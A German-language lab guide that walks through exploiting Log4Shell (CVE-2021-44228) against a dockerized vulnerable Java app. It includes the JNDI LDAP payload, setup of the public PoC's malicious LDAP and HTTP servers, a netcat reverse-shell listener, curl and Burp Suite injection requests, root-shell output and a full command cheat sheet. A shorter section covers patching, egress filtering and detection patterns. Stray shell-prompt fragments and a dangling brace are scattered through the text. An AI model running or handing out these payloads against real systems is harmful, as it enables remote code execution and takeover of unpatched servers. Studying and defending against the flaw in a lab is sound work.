Ausnutzung von Log4Shell (CVE-2021-44228): Ein vollständiges, modernes Demonstrationslabor

Log4Shell (CVE-2021-44228) ist eine der folgenreichsten Schwachstellen zur Remote-Code-Ausführung, die je offengelegt wurde. Sie betrifft Apache Log4j 2, ein weit verbreitetes Java-Logging-Framework, und ermöglicht Angreifern die Ausführung beliebigen Codes durch Missbrauch von JNDI-Lookups in Logmeldungen.

Dieser Leitfaden bietet ein vollständiges, reproduzierbares Demonstrationslabor unter Verwendung von:

• Kali Linux (Angreifer)
• Eine dockerisierte verwundbare Log4j2-Anwendung
• Das öffentliche PoC log4j-shell-poc
• curl, Burp Suite und Netcat

Es ist ausschließlich für Lehre, Forschung, Schulung und defensive Sensibilisierung in kontrollierten Umgebungen konzipiert. Struktur und Stil folgen dem gleichen Geist wie die begleitende README des „Shellshock“-Labors.

📌 Inhaltsverzeichnis

0. Rechtliche und ethische Hinweise
1. Überblick auf hoher Ebene
2. Lernziele
3. Laborarchitektur
4. Voraussetzungen
5. Installation von JDK 1.8.0_202 auf Kali
6. Bereitstellung der verwundbaren Log4j-Anwendung (Docker)
7. Vorbereitung des Exploit-PoC
8. Konfiguration von poc.py zur Verwendung von JDK 1.8.0_202
9. Starten der Exploit-Dienste (LDAP + HTTP + Payload)
10. Starten des Reverse-Shell-Listeners
11. Ausnutzung von Log4Shell via curl
12. Ausnutzung von Log4Shell via Burp Suite
13. Angriffsketten-Diagramm
14. Gegenmaßnahmen & Verteidigung
15. Spickzettel (Alle Befehle)
16. Screenshot-Galerie (Optional)
17. Referenzen
18. Danksagungen

0. Rechtliche und ethische Hinweise

Dieses Labor darf nur in einer kontrollierten Umgebung durchgeführt werden, in der Sie eine ausdrückliche Genehmigung haben (eigenes Labor, Unterrichts-VMs usw.).

• Greifen Sie nicht Produktionssysteme an.
• Führen Sie dies nicht gegen Hosts aus, die Sie nicht besitzen oder verwalten.
• Nutzen Sie dieses Material ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken.

1. Überblick auf hoher Ebene

Log4Shell (CVE-2021-44228) ist eine kritische RCE-Schwachstelle in Apache Log4j 2.

Das Problem entsteht, weil verwundbare Log4j2-Versionen vom Angreifer kontrollierte Zeichenketten wie:

${jndi:ldap://ANGREIFER_IP:1389/a}

interpretieren.

Wenn diese Zeichenkette protokolliert wird, führt Log4j Folgendes aus:

1. Führt eine JNDI-Suche (z. B. über LDAP) zu einem angreiferkontrollierten Server durch.
2. Erhält eine Referenz auf eine bösartige Java-Klasse.
3. Lädt die Klasse über HTTP herunter und lädt sie in die JVM.
4. Führt sie aus, was zu Remote-Code-Ausführung führt.

In diesem Labor werden Sie:

• Eine verwundbare Log4j2-Webanwendung in einem Docker-Container ausführen.
• Einen bösartigen LDAP- + HTTP-Server auf Kali mit log4j-shell-poc betreiben.
• Das Log4Shell-Payload via curl und via Burp Suite ausliefern.
• Eine Reverse Shell vom verwundbaren Container erfassen.

2. Lernziele

Am Ende dieses Labors sollten Sie in der Lage sein:

1. Auf hoher Ebene zu erklären, wie Log4Shell funktioniert und warum JNDI bei Missbrauch gefährlich ist.
2. Eine verwundbare Log4j2-Anwendung mit Docker bereitzustellen.
3. JDK 1.8.0_202 zu installieren und zu konfigurieren, das vom PoC benötigt wird.
4. Einen bösartigen LDAP-Server und HTTP-Server über das PoC-Skript auszuführen.
5. Die Schwachstelle auszulösen und eine Reverse Shell zu erhalten.
6. Burp Suite zu verwenden, um den Exploit in einen HTTP-Header zu injizieren.
7. Realistische Abwehrmaßnahmen und Erkennungsstrategien zu diskutieren.

3. Laborarchitektur

Alle Komponenten laufen auf Ihrem vorhandenen virtuellen Labor. Für diese Beschreibung nehmen wir an:

• Kali Linux VM ist der Angreifer.
• Kali führt auch den Docker-Container mit der verwundbaren App aus.

Schlüsselidee

Der Angreifer injiziert:

${jndi:ldap://192.168.1.4:1389/a}

in einen HTTP-Header. Die verwundbare App protokolliert ihn mit Log4j2 → führt eine JNDI-LDAP-Suche zu 192.168.1.4:1389 durch → lädt eine bösartige Klasse von http://192.168.1.4:8000 herunter → führt die Klasse aus, die eine Reverse Shell zurück zu 192.168.1.4:9001 öffnet.

4. Voraussetzungen

Auf Kali benötigen Sie:

• Docker (installiert und funktionsfähig).
• Python 3 (Standard auf Kali).
• Netcat (nc).
• Burp Suite (Community Edition ist ausreichend).
• Internetzugang für anfängliche Downloads.
• Grundlegende Vertrautheit mit Linux und HTTP.

In dieser Anleitung nehmen wir an, dass die Kali-IP lautet:

192.168.1.4

Wenn Ihre IP abweicht, passen Sie alle Befehle entsprechend an.

5. Installation von JDK 1.8.0_202 auf Kali (zwingend erforderlich)

Das PoC ist auf Java SE 8 Update 202 (JDK 1.8.0_202) angewiesen, da neuere Java-Versionen das von diesem Exploit verwendete Remote-Klassenladeverhalten einschränken.

Auch wenn Kali bereits OpenJDK 21 (oder ähnlich) hat, müssen Sie 8u202 separat installieren.

5.1 Arbeitsverzeichnis erstellen

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 JDK 8u202 vom HuaweiCloud-Mirror herunterladen

Mirror-Stammverzeichnis:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Das Linux-x64-Tarball herunterladen (≈185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # sollte ~185M sein

5.3 Nach /usr/bin/jdk1.8.0_202 extrahieren

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

Die Option --strip-components=1 entfernt das oberste Verzeichnis aus dem Archiv, sodass die Dateien direkt unter /usr/bin/jdk1.8.0_202 landen.

5.4 Installation überprüfen

/usr/bin/jdk1.8.0_202/bin/java -version

Erwartete Ausgabe:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Wenn Sie dies sehen, ist JDK 1.8.0_202 korrekt installiert.

6. Bereitstellung der verwundbaren Log4j-Anwendung (Docker auf Kali)

Öffnen Sie ein neues Terminal auf Kali (Sie können in ~/Log4Shell bleiben):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

Sie sollten Logs ähnlich wie diese sehen:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...

• Die App ist nun unter http://127.0.0.1:8080/ von Kali aus erreichbar.
• Lassen Sie dieses Terminal laufen. Dies ist Ihr Ziel.

Kurzer Funktionstest:

curl http://127.0.0.1:8080/

Möglicherweise sehen Sie eine Whitelabel-Fehlerseite (HTTP 400). Das ist in Ordnung – alles, was wir brauchen, ist, dass die App läuft und Anfragen protokolliert.

7. Vorbereitung des Exploit-PoC auf Kali

7.1 log4j-shell-poc klonen

In einem neuen Terminal:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

Dateien bestätigen:

ls
# poc.py, target/, README, etc. Exploit.java wird später erstellt.

8. Konfiguration von poc.py zur Verwendung von JDK 1.8.0_202

Standardmäßig erwartet poc.py, ein lokales JDK in einem Verzeichnis namens jdk1.8.0_20 innerhalb des Repos zu finden. Stattdessen haben Sie JDK 8u202 in /usr/bin/jdk1.8.0_202 installiert, daher müssen Sie das Skript aktualisieren.

8.1 poc.py in einem Editor öffnen

nano poc.py

8.2 Die ursprünglichen Java-Pfadzeilen identifizieren

Suchen Sie nach jdk1.8.0_20 (in nano: Strg+W, jdk1.8.0_20 eingeben, Enter drücken).

Sie sollten drei Vorkommen finden, z. B.:

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 Durch absolute Pfade zu JDK 8u202 ersetzen

Ersetzen Sie sie mit:

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

Speichern und schließen:

• Strg + O → Enter
• Strg + X

Das PoC verwendet nun JDK 1.8.0_202 von /usr/bin.

9. Starten der Exploit-Dienste (LDAP + HTTP + Payload-Generator)

Von ~/Log4Shell/log4j-shell-poc:

9.1 Das PoC-Skript ausführen

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

Parameter:

• --userip – Ihre Kali-IP (Angreifer): z. B. 192.168.1.4.
• --webport – Port für den eingebetteten HTTP-Server: 8000.
• --lport – Port, zu dem das Payload zurückverbindet: 9001.

Wenn alles korrekt konfiguriert ist, sollten Sie etwa Folgendes sehen:

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

Wichtig:

• LDAP-Server hört auf Port 1389.

• HTTP-Server hört auf Port 8000.

• Das genaue Payload zum Injizieren wird ausgegeben:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

Lassen Sie dieses Terminal laufen.

10. Starten des Reverse-Shell-Listeners (Netcat)

Öffnen Sie ein weiteres neues Terminal auf Kali:

nc -nvlp 9001

Sie sollten sehen:

listening on [any] 9001 ...

Dieser Listener wird die Reverse Shell von der verwundbaren Anwendung empfangen.

An diesem Punkt sollten Sie Folgendes haben:

1. Docker-Container mit der verwundbaren App (Port 8080).
2. poc.py läuft mit LDAP (1389) und HTTP (8000).
3. Netcat hört auf 9001.

11. Ausnutzung von Log4Shell via curl

Beweisen Sie zuerst, dass der Exploit mit einer rohen HTTP-Anfrage funktioniert.

In einem neuen Terminal (oder verwenden Sie ein vorhandenes):

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
}

Was passiert:

1. Die verwundbare App empfängt die Anfrage und protokolliert den `X-Api-Version`-Header.
2. Log4j2 sieht `${jndi:ldap://192.168.1.4:1389/a}` und führt eine JNDI-LDAP-Suche durch.
3. Ihr LDAP-Server (innerhalb von `poc.py`) antwortet mit einer Referenz auf eine bösartige Java-Klasse, die auf Ihrem HTTP-Server gehostet wird.
4. Die App lädt die Klasse herunter und führt sie aus.
5. Die Klasse verbindet sich zurück zu `192.168.1.4:9001` und startet eine Shell.

Bei Erfolg zeigt Ihr Netcat-Terminal:

```text
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

Sie haben nun eine Root-Shell innerhalb des Docker-Containers.

Probieren Sie:

id
hostname
ls /

Beenden mit:

exit

Netcat kehrt in den Hörzustand zurück.

12. Ausnutzung von Log4Shell via Burp Suite (Browser-Stil)

Demonstrieren Sie nun denselben Exploit-Pfad über einen Browser, der von Burp Suite vermittelt wird.

12.1 Firefox so konfigurieren, dass Burp als Proxy verwendet wird

1. Starten Sie Burp Suite auf Kali.

2. Stellen Sie in Burp sicher, dass der Proxy-Listener auf 127.0.0.1:8080 läuft.

3. In Firefox:

   • Einstellungen → Netzwerkeinstellungen → Manuelle Proxy-Konfiguration.
   • HTTP-Proxy: 127.0.0.1, Port: 8080.
   • „Diesen Proxy auch für HTTPS verwenden“ aktivieren.
   • Stellen Sie sicher, dass keine Ausnahmen für 127.0.0.1 vorhanden sind.

12.2 Eine erste Anfrage erfassen

1. In Burp → Proxy → Intercept sicherstellen, dass Intercept ON ist.

2. In Firefox zu folgender Adresse navigieren:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. Burp zeigt die abgefangene Anfrage, z. B.:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 Anfrage an Repeater senden

1. Im Reiter Proxy → Intercept mit der rechten Maustaste auf die Anfrage klicken.
2. An Repeater senden auswählen.
3. Zum Reiter Repeater wechseln.

12.4 Das Log4Shell-Payload in einen HTTP-Header injizieren

Im Repeater die Anfrage so ändern, dass sie einen X-Api-Version-Header enthält:

GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Hinweise:

• Ersetzen Sie 192.168.1.4 durch Ihre tatsächliche Kali-IP, falls abweichend.
• Die ${}-Zeichen nicht URL-kodieren – sie müssen genau wie gezeigt erscheinen.
• Connection: close hält es einfach (optional).

12.5 Die bösartige Anfrage senden

1. Bestätigen Sie, dass poc.py und der Netcat-Listener noch laufen.
2. Klicken Sie im Burp Repeater auf Send.

Möglicherweise sehen Sie erneut eine 400-Whitelabel-Fehlerseite – das ist in Ordnung.

Überprüfen Sie Ihr Netcat-Terminal:

listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...

Sie haben erneut eine Root-Shell auf dem Container erhalten, diesmal mit einer Burp-modifizierten HTTP-Anfrage, was einen realistischen Web-Exploit-Workflow widerspiegelt.

13. Wie die Exploit-Kette funktioniert (Technische Zusammenfassung)

1. Angreifer erstellt das JNDI-Payload:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. Die verwundbare Anwendung protokolliert diese Zeichenkette mit Log4j2.

3. Log4j2 interpretiert ${jndi:...} und führt eine JNDI-Suche durch.

4. Die Suche verwendet LDAP, um den LDAP-Server des Angreifers unter 192.168.1.4:1389 zu kontaktieren.

5. Der LDAP-Server (marshalsec) antwortet mit einem javaNamingReference, das auf eine angreiferkontrollierte Klasse verweist, die über HTTP gehostet wird, z. B.:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. Die Opfer-JVM lädt diese Klasse herunter und lädt sie.

7. Der Konstruktor der Klasse öffnet einen Socket zurück zu 192.168.1.4:9001 und bindet /bin/sh daran.

8. Der Netcat-Listener des Angreifers empfängt die eingehende Verbindung und erhält eine entfernte Root-Shell innerhalb des Containers.

14. Gegenmaßnahmen & Verteidigung

In realen Umgebungen sollten mehrere Verteidigungsschichten angewendet werden.

14.1 Log4j2 aktualisieren

• Upgrade auf 2.17.1 oder höher (oder die vom Hersteller empfohlene sichere Version).
• Diese Versionen deaktivieren oder schränken JNDI-Lookups standardmäßig stark ein.

14.2 JNDI / Message Lookups deaktivieren

Für noch verwundbare Bereitstellungen hinzufügen:

-Dlog4j2.formatMsgNoLookups=true

(Wo anwendbar – beachten Sie, dass nicht alle verwundbaren Konfigurationen allein durch dieses Flag behoben werden.)

14.3 JndiLookup aus log4j-core JARs entfernen

Als Maßnahme für die Tiefenverteidigung:

zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

14.4 Ausgehenden Netzwerkzugriff härten

• Beschränken Sie ausgehende LDAP-, RMI- und beliebige HTTP-Verbindungen von Anwendungsservern.
• Ausgangsfilterung und strenge Firewall-Regeln können verhindern, dass Server angreiferkontrollierte Infrastruktur erreichen.

14.5 Erkennung & Überwachung

• Durchsuchen Sie Logs nach verdächtigen Mustern wie ${jndi: oder ${${lower:j}${upper:ndi}:.
• Überwachen Sie auf ungewöhnliche ausgehende LDAP-/RMI-Verbindungen von Servern.
• Setzen Sie IDS/IPS/SIEM-Regeln für Log4Shell-Indikatoren und PoC-Datenverkehr ein.

15. Befehls-Spickzettel

Eine kompakte Übersicht der in diesem Labor verwendeten Befehle.

15.1 Arbeitsverzeichnis

mkdir -p ~/Log4Shell
cd ~/Log4Shell

15.2 JDK 8u202 herunterladen (≈185 MB)

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz

15.3 JDK 1.8.0_202 installieren

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

/usr/bin/jdk1.8.0_202/bin/java -version

15.4 Die verwundbare Docker-Anwendung ausführen

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

15.5 Das PoC-Repository klonen

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

15.6 poc.py Java-Pfade aktualisieren (Zusammenfassung)

Ersetzen:

os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java")  # zwei Verwendungen

Durch:

"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"

15.7 PoC starten (LDAP + HTTP + Payload)

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

15.8 Netcat Reverse-Shell-Listener

nc -nvlp 9001

15.9 Exploit via curl

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

15.10 Payload-Zeichenkette für Header

${jndi:ldap://192.168.1.4:1389/a}

15.11 Burp Repeater Header

X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}

16. Screenshot-Galerie

17. Referenzen

• Original-PoC: kozmer/log4j-shell-poc
• Verwundbare Demo-Anwendung: christophetd/log4shell-vulnerable-app
• Apache Log4j Sicherheitslücken: https://logging.apache.org/log4j/2.x/security.html
• NIST NVD-Eintrag für CVE-2021-44228: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. Danksagungen